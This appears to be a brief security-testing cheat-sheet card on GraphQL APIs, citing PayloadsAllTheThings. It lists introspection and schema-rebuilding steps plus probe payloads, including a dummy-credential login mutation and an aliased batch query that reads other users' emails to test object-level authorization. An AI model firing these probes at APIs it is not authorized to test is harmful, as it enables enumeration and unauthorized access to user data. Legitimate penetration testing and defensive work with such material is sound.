GraphQL
Start with introspection to dump the schema; if it's off, use field-suggestion errors (clairvoyance) to rebuild it. Then hunt BOLA/BFLA on objects and mutations.
Tags: graphql, introspection, bola
Controlled probes
{__schema{types{name,fields{name}}}}{__type(name:"User"){name,fields{name,type{name}}}}query{__typename}mutation{login(input:{user:"a",pass:"a"}){token}}aliases: { a:user(id:1){email} b:user(id:2){email} } (batch/BOLA)
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection